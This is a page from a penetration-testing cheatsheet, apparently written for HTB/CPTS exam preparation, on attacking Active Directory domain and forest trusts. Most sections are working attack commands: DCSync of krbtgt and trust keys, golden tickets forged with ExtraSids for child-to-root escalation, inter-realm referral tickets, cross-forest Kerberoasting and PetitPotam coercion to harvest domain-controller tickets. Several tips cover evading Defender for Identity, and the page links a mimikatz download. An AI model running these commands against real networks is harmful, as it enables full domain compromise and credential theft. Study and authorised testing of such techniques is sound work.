daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

domain-trusts-and-cross-forest.md (26252B)


      1 ---
      2 title: "Domain Trusts and Cross-Forest"
      3 description: "CPTS attack-flow reference for domain trusts and cross-forest in an authorised engagement."
      4 category: pentest-workflow
      5 subcategory: "CPTS Attack Flow"
      6 order: 14
      7 tags: ["htb", "cpts", "htb-attack-flow", "htb-attack-flow-trusts", "pentest-workflow"]
      8 tools: ["Impacket", "PowerView", "BloodHound"]
      9 difficulty: advanced
     10 updated: "2026-08-29"
     11 source: "vault:Pentest Attack Flow/14 - Domain Trusts and Cross-Forest.md"
     12 ---
     13 > [!dashboard] Attack-flow navigation
     14 > **Dashboard:** [HTB Pentest Attack Flow](/sheets/pentest-workflow/attack-flow-dashboard)
     15 >
     16 > **Section:** 14 of 17 · **Focus:** Domain Trusts and Cross-Forest
     17 >
     18 > **Previous:** [Stage 10 — Lateral Movement, Pivoting, and Loot](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot) · **Next:** [Stage 11 — Documentation and Reporting](/sheets/pentest-workflow/documentation-and-reporting)
     19 
     20 ---
     21 # 🌲 DOMAIN TRUSTS & CROSS-FOREST — beyond one domain
     22 
     23 DA in one domain isn't the end when there's a forest. Parent/child and forest trusts let a compromise in one domain reach the others. The rule that decides everything: **SID filtering is OFF inside a forest (parent↔child) but ON across a forest trust** — so the ExtraSids/SID-History trick that owns the forest root does *not* cross into a foreign forest. Enumerate the trusts first, then pick the technique by trust type. Deep dives: 🔶 Attack · 🔶 Attack · 🔶 Attack · 🔶 Attack.
     24 
     25 ---
     26 
     27 ### Trust types — the decision table
     28 
     29 Every technique below keys off three properties: **direction** (which way credentials flow), **transitivity** (does the trust chain extend?), and **SID filtering** (are foreign-privileged SIDs stripped?).
     30 
     31 | Trust type | Created when | Default direction | Transitive? | SID filtering | Attack surface |
     32 | :-- | :-- | :-- | :-- | :-- | :-- |
     33 | **Parent–Child** | child domain added to forest | bidirectional | **Yes** | **OFF** (inside forest) | child DA → forest root via ExtraSids (golden ticket + `-519`) |
     34 | **Tree–Root** | new tree (different DNS namespace) added to forest | bidirectional | **Yes** | **OFF** | same as parent–child |
     35 | **External** | manual, domain↔domain across forests (or NT4) | set at creation | **No** | **ON** (always) | only what's explicitly shared; kerberoast/delegation across |
     36 | **Forest** | manual, forest↔forest | set at creation | **Yes** (within the trust) | **ON** (default) | trust-key referral, foreign group hunting |
     37 | **Shortcut** | manual, between two domains in same forest | bidirectional | Yes | OFF | speed optimisation only — same attack surface as parent–child |
     38 | **Realm (MIT)** | AD↔non-Windows Kerberos | set at creation | No | n/a | rare in labs; treat like external |
     39 
     40 **Direction, decoded:** an **inbound** trust on the target means *users from my domain can authenticate there* (target trusts me) — that's the direction I can attack along. **Outbound** means I trust *them* — their compromise reaches me, not vice versa. Mnemonic: "inbound = I can go in." **Bidirectional** = both.
     41 
     42 ```text
     43 Direction cheat:
     44   CHILD  --(trusts PARENT)--> PARENT   means: PARENT users can auth into CHILD
     45   attack flows WITH the "users can auth" arrow, i.e. from the trusted side to the trusting side
     46 ```
     47 
     48 **Transitivity matrix:**
     49 ```text
     50 Parent-Child / Tree-Root:  transitive — A↔B and B↔C inside a forest ⇒ A trusts C automatically
     51 Forest:                    transitive across the two forests' domains, but does NOT chain to a third forest
     52 External:                  never transitive — only the two named domains
     53 ```
     54 
     55 ---
     56 
     57 ### Enumerate trusts
     58 
     59 **What to look for** → direction (inbound/outbound/bidirectional), type (parent-child vs forest/external), and whether it's transitive. BloodHound draws trust edges; confirm on the wire. Everything in this section is standard [Stage 04](/sheets/pentest-workflow/active-directory-enumeration) enumeration pointed at `trustedDomain` objects.
     60 
     61 **From Linux (authenticated):**
     62 ```bash
     63 nxc ldap "$DC" -u "$U" -p "$P" -M enum_trusts
     64 nxc ldap "$DC" -u "$U" -p "$P" \
     65   --query "(objectClass=trustedDomain)" ""
     66 
     67 # ldapdomaindump pulls trusts into the HTML/grep-able dump automatically
     68 ldapdomaindump -u "$DOMAIN\\$U" -p "$P" "$DC" -o ldd-out/
     69 grep -i trust ldd-out/domain_trusts.html
     70 
     71 # impacket: quick DC locator per discovered domain
     72 getTGT.py "$DOMAIN/$U:$P" -dc-ip "$DC" -debug 2>/dev/null | head   # sanity: creds work before chasing trusts
     73 ```
     74 
     75 **From a Windows Command Prompt:**
     76 ```batch
     77 nltest /domain_trusts /all_trusts
     78 nltest /dsgetdc:$DOMAIN /force                     :: locate a DC in the *current* domain
     79 nltest /dsgetdc:partner.com                        :: locate a DC in the TRUSTED domain (proves routing works)
     80 ```
     81 
     82 **From PowerShell with the AD module or PowerView:**
     83 ```powershell
     84 Get-ADTrust -Filter * |
     85   Select-Object Name, Direction, TrustType, ForestTransitive
     86 
     87 Get-DomainTrust                                    # trusts of current domain
     88 Get-ForestTrust                                    # trusts of the whole forest
     89 Get-DomainTrustMapping                             # walk the full map across all discovered trusts
     90 Get-DomainTrust -Domain partner.com                # enumerate FROM the other side, through the trust
     91 Get-DomainUser -Domain partner.com                 # any readable objects across the trust
     92 ```
     93 
     94 **BloodHound cross-domain ingest:** the collector only grabs the domain you're scoped to by default — collect **each domain in the forest separately**, and BloodHound stitches the trust edges (`TrustedBy`) plus *Foreign* nodes (ForeignGroupMembership, ForeignAdmin) automatically:
     95 ```bash
     96 bloodhound-ce-python -u "$U" -p "$P" -d child.$DOMAIN -dc child-dc.child.$DOMAIN -c all --zip
     97 bloodhound-ce-python -u "$U" -p "$P" -d $DOMAIN -dc $DC -c all --zip        # repeat per domain
     98 # SharpHound equivalent per domain: SharpHound.exe -c all -d child.domain.local
     99 ```
    100 
    101 > [!warning] Watch out — trust enumeration is noisy
    102 > `nltest /domain_trusts` and `Get-ADTrust` are benign admin commands; `Get-DomainTrustMapping` and cross-domain LDAP queries generate directory-service traffic from a workstation that has no business asking — Defender for Identity flags *reconnaissance against trusts* patterns. BloodHound `-c all` across multiple domains multiplies the LDAP query volume; consider `-c DCOnly` or grouped collection per domain. Trust objects themselves are world-readable in AD — authenticated users may enumerate them by design (T1482), so the detection signal is *velocity and source*, not the read itself.
    103 
    104 ---
    105 
    106 ### INTRA-FOREST: Child → Parent (forest root) via SID History
    107 
    108 **What to look for** → you're DA in a **child** domain and want Enterprise Admin over the whole forest. Works because SID filtering is not enforced inside a forest — a forged ticket from the child can carry the forest-root **Enterprise Admins** SID (`<rootSID>-519`) in its ExtraSids, and the root accepts it.
    109 
    110 **The keys you need:**
    111 1. Child domain `krbtgt` NT hash (you're child DA — DCSync it).
    112 2. Child domain SID (any `whoami /user` or `Get-DomainSID`).
    113 3. **Forest root domain SID** (resolve via the trust, e.g. `Get-DomainSID -Domain root.local` or `lookupsid.py`).
    114 
    115 **Linux / Impacket flow:**
    116 ```bash
    117 # 1. DCSync the CHILD krbtgt (you're child DA), get child domain SID + the parent's EA SID (parentSID-519)
    118 secretsdump.py "child.$DOMAIN"/'childDC$'@child-dc -just-dc-user krbtgt
    119 lookupsid.py "child.$DOMAIN"/Administrator@parent-dc | head -3     # resolve parent domain SID
    120 
    121 # 2. forge a Golden Ticket in the child, inject parent Enterprise Admins SID via ExtraSids
    122 ticketer.py -nthash <child_krbtgt> -domain-sid S-1-5-21-<childSID> \
    123   -domain child.$DOMAIN -extra-sid S-1-5-21-<parentSID>-519 Administrator
    124 export KRB5CCNAME=Administrator.ccache
    125 
    126 # 3. now Enterprise Admin across the forest → DCSync the forest root
    127 secretsdump.py -k -no-pass "$DOMAIN"/Administrator@parent-dc
    128 ```
    129 
    130 **Impacket one-shot:** `raiseChild.py` automates the entire child→root escalation (dumps child krbtgt, resolves SIDs, forges the ExtraSids ticket, and can drop straight into a shell on the root DC):
    131 ```bash
    132 raiseChild.py child.$DOMAIN/Administrator:'<childpass>'
    133 raiseChild.py -hashes :<child_admin_nthash> child.$DOMAIN/Administrator
    134 raiseChild.py child.$DOMAIN/Administrator -target-exec parent-dc.$DOMAIN   # forge + psexec-style exec on root DC
    135 ```
    136 
    137 **Windows foothold flow (mimikatz + Rubeus):**
    138 ```batch
    139 :: dump child krbtgt AND the trust keys in one go
    140 mimikatz.exe "privilege::debug" "lsadump::dcsync /user:CHILD\krbtgt" "exit"
    141 mimikatz.exe "privilege::debug" "lsadump::trust /patch" "exit"        :: krbtgt + inter-realm trust keys + domain SIDs
    142 
    143 :: forge golden with parent EA SID history
    144 mimikatz.exe "kerberos::golden /user:Administrator /domain:child.$DOMAIN /sid:S-1-5-21-<childSID> ^
    145   /krbtgt:<child_krbtgt_nthash> /sids:S-1-5-21-<parentSID>-519 /ptt" "exit"
    146 
    147 :: verify + use
    148 dir \\parent-dc.$DOMAIN\C$
    149 ```
    150 
    151 > [!tools] Stage this
    152 > [mimikatz_trunk.zip](/downloads/pentest-workflow/mimikatz_trunk.zip) ([SHA-256](/downloads/pentest-workflow/mimikatz_trunk.zip.sha256) · [GPG signature](/downloads/pentest-workflow/mimikatz_trunk.zip.sha256.asc))
    153 
    154 > [!warning] Watch out
    155 > - `-extra-sid` / `/sids` must be the **parent's** domain SID + `-519` (Enterprise Admins), not the child's — the most common botched forge. Get the parent SID with `lookupsid.py` against a parent DC, don't guess.
    156 > - Fires **4768/4769** for the cross-domain TGT/TGS and the forged ticket's account (e.g. `Administrator`) may not even exist in the child — Defender for Identity detects golden tickets via ticket-lifetime anomalies (default TGT lifetime 10h; mimikatz defaults to 10 years → massive tell). Set `/endin:600 /renewmax:10080` (10h/7d, real defaults).
    157 > - krbtgt is RC4 by default; if the domain is AES-only (rare), forge with `-aesKey` / `/aes256` instead.
    158 > - This is the classic "child DA → forest root" and it needs no CVE — the trust design allows it. Deep dive: 🔶 Attack. MITRE: T1550.003 (PtT) + T1558.001 (Golden Ticket).
    159 
    160 ---
    161 
    162 ### Inter-realm trust keys — the forest trust's master key
    163 
    164 **What to look for** → every trust creates an **inter-realm trust account** (`TRUSTEDDOMAIN$`, e.g. `PARTNER$`) whose password is the shared secret for the trust. Dump it (as DA) and you can forge **referral TGTs** into the trusted side — for parent↔child this equals forest-root access, for forest trusts it's the entry ticket (still gated by SID filtering).
    165 
    166 ```batch
    167 :: all trust keys for the domain, inbound and outbound
    168 mimikatz.exe "privilege::debug" "lsadump::trust /patch" "exit"
    169 :: output per trust: [IN] current + previous RC4/AES keys, [OUT] same — save BOTH directions
    170 ```
    171 ```bash
    172 # impacket equivalent — the trust account's hash IS the RC4 trust key
    173 secretsdump.py "$DOMAIN"/'DC$'@$DC -just-dc-user "partner$"
    174 ```
    175 
    176 > [!note] Trust-key gotchas
    177 > - The trust account password rotates every **30 days** (like machine accounts) — mimikatz shows current *and previous*; both are typically valid.
    178 > - **RC4 vs AES trust key:** `secretsdump` gives you the NT (RC4) key. If you forge an inter-realm TGT with the RC4 key but the trusting side expects AES (or you ask `asktgs` for AES), the KDC may answer with a ticket you can't parse/use — specify `ticketer.py -nthash <rc4key>` (RC4 end-to-end) and request RC4 service tickets (`Rubeus asktgs /enctype:rc4`), or extract the AES trust keys with `lsadump::trust /patch` and forge with `-aesKey`.
    179 > - Trust keys are how **SID filtering is enforced**: the trusting KDC rebuilds the PAC and strips filtered SIDs — the key gets you across, it doesn't smuggle privileges.
    180 
    181 ---
    182 
    183 ### CROSS-FOREST — SID filtering blocks the shortcut
    184 
    185 **What to look for** → a **forest trust** to a partner forest. ExtraSids is filtered here, so you can't just inject a foreign EA SID. Two real paths:
    186 
    187 ```bash
    188 # A) Trust-key forge → referral into the foreign forest (only reaches groups explicitly shared across the trust)
    189 secretsdump.py "$DOMAIN"/'DC$'@$DC -just-dc-user "partner$"     # dump the inter-realm trust key
    190 ticketer.py -nthash <trust_key> -domain-sid S-1-5-21-<mySID> -domain "$DOMAIN" \
    191   -spn krbtgt/partner.com Administrator                          # inter-realm referral TGT
    192 export KRB5CCNAME=Administrator.ccache
    193 getST.py -k -no-pass -spn cifs/partner-dc.partner.com "$DOMAIN/Administrator@partner.com"
    194 
    195 # B) Hunt foreign-group memberships / ACLs your principals already hold ACROSS the trust (BloodHound "Foreign" nodes)
    196 ```
    197 
    198 From a Windows foothold, request the destination service ticket with Rubeus:
    199 ```batch
    200 Rubeus.exe asktgs /ticket:referral.kirbi /service:cifs/partner-dc.partner.com /ptt /enctype:rc4
    201 ```
    202 
    203 **What SID filtering actually strips** (forest/external trusts): SIDs from the *other* forest that identify privileged or well-known principals — specifically anything with **RID ≥ 500 in the foreign domain** (Domain Admins `-512`, Enterprise Admins, the Administrator account, etc.) plus SIDs from any domain *other than* the directly trusted one. What **survives**: RIDs **< 1000 built-in container SIDs are partly exempt** — the classic abuse is that `Account Operators`-adjacent and some built-in groups can pass; more practically, **foreign SIDs with RID ≥ 1000 (normal users/groups) survive untouched**. So: a foreign user who is a member of a group *explicitly granted* local admin on a server (or in an ACL) keeps that access through the trust.
    204 
    205 **Concretely exploitable across a filtered forest trust:**
    206 ```text
    207 [ ] ForeignSecurityPrincipals — enumerate the trusting forest's CN=ForeignSecurityPrincipals:
    208     members of local groups that are SIDs from YOUR forest (Get-DomainObject -Domain partner.com, or
    209     nxc ldap query on (objectClass=foreignSecurityPrincipal)) → maps "my user X has rights over there"
    210 [ ] Kerberoast across the trust — GetUserSPNs.py / Rubeus kerberoast against the trusting domain;
    211     service accounts there crack offline identically (Stage 05)
    212 [ ] Unconstrained delegation — a server in the partner forest with unconstrained delegation will still
    213     hand you TGTs of partner-forest users/computers that touch it (printerbug coercion works cross-forest
    214     if routing/firewall allows) → partner DA
    215 [ ] MSSQL link chains — linked servers routinely hop across trust boundaries where Kerberos would be
    216     filtered; xp_cmdshell on the far side executes in the partner forest (Stage 10 tooling)
    217 [ ] ADCS cross-forest enrollment — templates enrollment-permitted for foreign principals (see below)
    218 ```
    219 
    220 **Selective authentication** (`Selective Authentication Enabled` on the trust): even with a valid cross-trust ticket, you can only reach machines where your principal has the **Allowed to Authenticate** right (default: *no one* gets it implicitly — the "other forest users can't even log on" mode). Enumeration tell: `Get-ADTrust` shows `TrustAttributes` values; Rubeus `asktgs` succeeds but `dir \\host\C$` fails with access denied despite a valid ticket. In practice it's rare — most forest trusts are wide — but when you hit it, hunt for the specific servers where `AllowedToAuthenticate` was granted.
    221 
    222 > [!warning] Watch out
    223 > Across a forest trust you can only reach what's **explicitly shared** (foreign group memberships, cross-forest ACLs). Chase BloodHound's *ForeignGroupMembership* / *ForeignAdmin* nodes rather than expecting full DA. Forged cross-forest tickets are **louder** than intra-forest: the referral + foreign TGS pair (4768→4769 across two forests' DCs) is a strong cross-forest-anomaly signal for Defender for Identity. Deep dive: 🔶 Attack.
    224 
    225 > [!tip] Two more trust plays
    226 > **ADCS cross-domain enrollment** — a CA in one domain trusting principals from another lets you enroll a cert as a foreign identity → auth across the trust (pairs with [Stage 07](/sheets/pentest-workflow/adcs-and-certificate-abuse); check `certipy find -enabled -dc-ip <otherDC>` from the trusted side). 🔶 Attack.
    227 > **PAM / bastion-forest trust** (Server 2016+, rare) — if you own the bastion forest, create a **shadow principal** mapping your bastion user's SID to a production **Domain Admins** SID for standing admin in production. 🔶 Attack.
    228 
    229 ### ForeignSecurityPrincipals — mapping who can reach what
    230 
    231 **What to look for** → when a foreign principal is granted membership in a trusting forest's group, AD stores a **Foreign Security Principal** object (`CN=<SID>,CN=ForeignSecurityPrincipals,DC=...`) — a stub that only holds the foreign SID. Enumerating these tells you exactly which accounts from *your* forest already have standing rights over there.
    232 
    233 ```powershell
    234 # FSPs in the trusting domain -> which foreign SIDs hold rights
    235 Get-DomainObject -Domain partner.com -SearchBase "CN=ForeignSecurityPrincipals,DC=partner,DC=com"
    236 # then resolve each SID back in YOUR forest to a real user/group
    237 Get-DomainObject -Identity "S-1-5-21-<yourSID>-<rid>"
    238 # and check what groups contain FSPs (nested foreign rights)
    239 Get-DomainGroup -Domain partner.com | ForEach-Object {
    240   Get-DomainGroupMember -Domain partner.com -Identity $_.samaccountname -Recurse
    241 } | Where-Object { $_.MemberName -match 'S-1-5-21' }
    242 ```
    243 ```bash
    244 # Linux equivalent
    245 nxc ldap "$DC" -u "$U" -p "$P" --query "(objectClass=foreignSecurityPrincipal)" ""
    246 ```
    247 
    248 > [!tip] BloodHound does this for you — ingest both forests and query `MATCH (u)-[:MemberOf|ForeignGroupMembership*1..]->(g) RETURN u.name,g.name`, or just eyeball the *Foreign* tabs on any high-value group. FSPs are the highest-signal, lowest-noise cross-forest attack path: no forging, no coercion, just rights someone forgot they granted.
    249 
    250 ---
    251 
    252 ### Exploitation gotchas — quick reference
    253 
    254 | Gotcha | Symptom | Fix |
    255 | :-- | :-- | :-- |
    256 | `-extra-sid` with child SID | root DC rejects / no EA rights | use **parent** SID + `-519` |
    257 | 10-year forged TGT | instant DfI golden-ticket alert | `/endin:600 /renewmax:10080` |
    258 | AES ticket asked, RC4 trust key held | getST fails / unparseable | `-nthash` + `/enctype:rc4`, or extract AES via `lsadump::trust /patch` |
    259 | Trust key rotated mid-engagement | forged referral suddenly fails | re-dump; the *previous* key often still works |
    260 | Selective authentication on trust | valid TGS, still access denied | need `AllowedToAuthenticate` per host — hunt grants or pick another vector |
    261 | SID filtering strips your extra SIDs | ticket valid, privileges gone | expected cross-forest; pivot to foreign-group hunting |
    262 | Clock skew between forests | `KRB_AP_ERR_SKEW` | sync: `ntpdate`/`faketime` against the *target* forest's DC |
    263 | SID history *enabled* on a forest trust | ExtraSids might survive! | rare misconfig — retry the intra-forest technique; treat as a finding |
    264 
    265 ---
    266 
    267 ### Technique picker — decision flow
    268 
    269 <figure class="flow plate corners">
    270   <figcaption class="flow__cap"><span class="flow__kind">Cross-forest technique picker</span><span class="flow__dir">TD</span></figcaption>
    271   <div class="flow__body">
    272     <div class="flow__diagram" data-dir="td">
    273       <div class="flow-rank"><div class="flow-node is-entry">DA in a domain</div></div>
    274       <div class="flow-edge"></div>
    275       <div class="flow-rank"><div class="flow-node is-decision">Trust type?</div></div>
    276       <div class="flow-branches">
    277         <div class="flow-lane">
    278           <div class="flow-edge"><span class="flow-edge__label">Parent-Child / Tree-Root<br/>SID filtering OFF</span></div>
    279           <div class="flow-node">Forge child golden ticket<span class="sub">+ parentSID-519 ExtraSids</span><span class="sub">ticketer.py / mimikatz /sid</span></div>
    280           <div class="flow-edge"></div>
    281           <div class="flow-node is-goal">Enterprise Admin<span class="sub">DCSync forest root</span></div>
    282         </div>
    283         <div class="flow-lane">
    284           <div class="flow-edge"><span class="flow-edge__label">Forest / External<br/>SID filtering ON</span></div>
    285           <div class="flow-node is-decision">Anything explicitly shared?</div>
    286           <div class="flow-branches">
    287             <div class="flow-lane">
    288               <div class="flow-edge"><span class="flow-edge__label">Foreign group membership / ACL</span></div>
    289               <div class="flow-node">Use legit cross-trust access<span class="sub">BloodHound Foreign nodes</span></div>
    290             </div>
    291             <div class="flow-lane">
    292               <div class="flow-edge"><span class="flow-edge__label">SPNs in other forest</span></div>
    293               <div class="flow-node">Kerberoast across trust<span class="sub">crack offline</span></div>
    294             </div>
    295             <div class="flow-lane">
    296               <div class="flow-edge"><span class="flow-edge__label">Unconstrained delegation host</span></div>
    297               <div class="flow-node">Coerce partner-forest principals<span class="sub">harvest TGTs</span></div>
    298             </div>
    299             <div class="flow-lane">
    300               <div class="flow-edge"><span class="flow-edge__label">ADCS enrollment rights</span></div>
    301               <div class="flow-node">Enroll as foreign identity<span class="sub">cert auth across trust</span></div>
    302             </div>
    303             <div class="flow-lane">
    304               <div class="flow-edge"><span class="flow-edge__label">Nothing shared</span></div>
    305               <div class="flow-node">Own the trust key anyway:<span class="sub">referral TGT for auth,</span><span class="sub">then enumerate what IS reachable</span></div>
    306             </div>
    307           </div>
    308         </div>
    309         <div class="flow-lane">
    310           <div class="flow-edge"><span class="flow-edge__label">PAM / bastion</span></div>
    311           <div class="flow-node">Shadow principal mapping<span class="sub">bastion SID -&gt; prod DA SID</span></div>
    312         </div>
    313       </div>
    314     </div>
    315   </div>
    316 </figure>
    317 
    318 ---
    319 
    320 ### Cross-forest Kerberoasting — the quiet win
    321 
    322 **What to look for** → SPNs in the *partner* forest are usually requestable by any authenticated user through the trust — and partner-forest service accounts are often weaker (legacy services, forgotten passwords), because each forest's admins assume the other side can't touch them.
    323 
    324 ```bash
    325 # request partner-forest service tickets THROUGH the trust (needs a valid cred in YOUR forest)
    326 GetUserSPNs.py "$DOMAIN/$U:$P" -dc-ip "$DC" -target-domain partner.com -request
    327 # Windows:
    328 Rubeus.exe kerberoast /domain:partner.com /dc:partner-dc.partner.com
    329 ```
    330 ```powershell
    331 # PowerView across the trust — enumerate SPN accounts in the partner domain
    332 Get-DomainUser -SPN -Domain partner.com | Select-Object samaccountname,serviceprincipalname
    333 Get-DomainTrust | ForEach-Object { Get-DomainUser -SPN -Domain $_.TargetName }   # roast every trusted domain
    334 ```
    335 
    336 Crack the returned `$krb5tgs$` hashes exactly like [Stage 05](/sheets/pentest-workflow/kerberos-attacks) (hashcat `-m 13100`/`18200`). A cracked partner-forest service account + any local admin it holds = your cross-forest foothold without forging anything — SID filtering never enters the picture because the access is *legitimate*.
    337 
    338 ---
    339 
    340 ### Unconstrained delegation across a trust
    341 
    342 **What to look for** → a server in the **partner forest** configured with unconstrained delegation (`TRUSTED_FOR_DELEGATION`). Any principal from your forest that authenticates to it drops a usable TGT in its memory — and coercion works across trusts when routing/firewalls allow SMB/RPC between forests.
    343 
    344 ```powershell
    345 # find them in the partner forest (through the trust)
    346 Get-DomainComputer -Unconstrained -Domain partner.com
    347 ```
    348 ```bash
    349 # coerce a partner-forest DC into touching your controlled unconstrained host in that forest:
    350 # 1) monitor on the delegation host (in partner forest): Rubeus.exe monitor /interval:5 /filteruser:PARTNERDC$
    351 # 2) coerce from Linux via your own forest's creds (if the partner DC accepts auth from your forest)
    352 python3 PetitPotam.py -u "$U" -p "$P" -d "$DOMAIN" <listener_host> partner-dc.partner.com
    353 # 3) harvested PARTNERDC$ TGT → DCSync the partner domain (Stage 06 flow)
    354 ```
    355 
    356 > [!warning] Watch out
    357 > Coercion across forests requires network reachability from the target DC to your listener host (135/445 through the forest-to-forest firewall — often blocked). The delegation host itself must be one you already control in the partner forest, so this is a *post-foothold* escalation, not an entry vector. Also: printerbug/EFS coercion fire **4662/5145/5156** bursts and NTLM coercion across forests is a favourite DfI detection — see [08 - Stage 05 - Kerberos Attacks](/sheets/pentest-workflow/kerberos-attacks) and [09 - Stage 06 - ACL and Object Abuse](/sheets/pentest-workflow/acl-and-object-abuse) for the base techniques.
    358 
    359 ---
    360 
    361 ### OPSEC summary — cross-trust telemetry
    362 
    363 | Event | Where | What it shows |
    364 | :-- | :-- | :-- |
    365 | **4768** (TGT requested) | both forests' DCs | forged TGT use; account name from another domain |
    366 | **4769** (TGS requested) | trusting-side DC | cross-domain service tickets; the `krbtgt/<foreign>` referral is distinctive |
    367 | **4662** (replication) | DC | DCSync of krbtgt/trust keys from a non-DC host |
    368 | **4771** (pre-auth failed) | DC | brute of trust account / bad forge attempts |
    369 | Sysmon **10** | any box | lsass access if you dump trust keys via sekurlsa |
    370 
    371 > [!tip] CPTS exam tip
    372 > When the exam throws a multi-domain forest at you (e.g. the AEN-style labs): (1) dump trusts with `Get-DomainTrustMapping` early and **draw the picture**; (2) check BloodHound Foreign nodes before forging anything — a legit foreign-group path is quieter and faster than a golden ticket; (3) keep per-domain credential/SID tables in your notes — mixing up child vs parent SIDs wastes an hour; (4) every forest compromise is a report finding ("insufficient trust hardening / SID filtering not enforced" — root cause, not "hacker forged ticket").
    373 
    374 ---
    375 
    376 > [!navigation] Continue the attack flow
    377 > **Previous:** [Stage 10 — Lateral Movement, Pivoting, and Loot](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot)
    378 >
    379 > **Dashboard:** [HTB Pentest Attack Flow](/sheets/pentest-workflow/attack-flow-dashboard)
    380 >
    381 > **Next:** [Stage 11 — Documentation and Reporting](/sheets/pentest-workflow/documentation-and-reporting)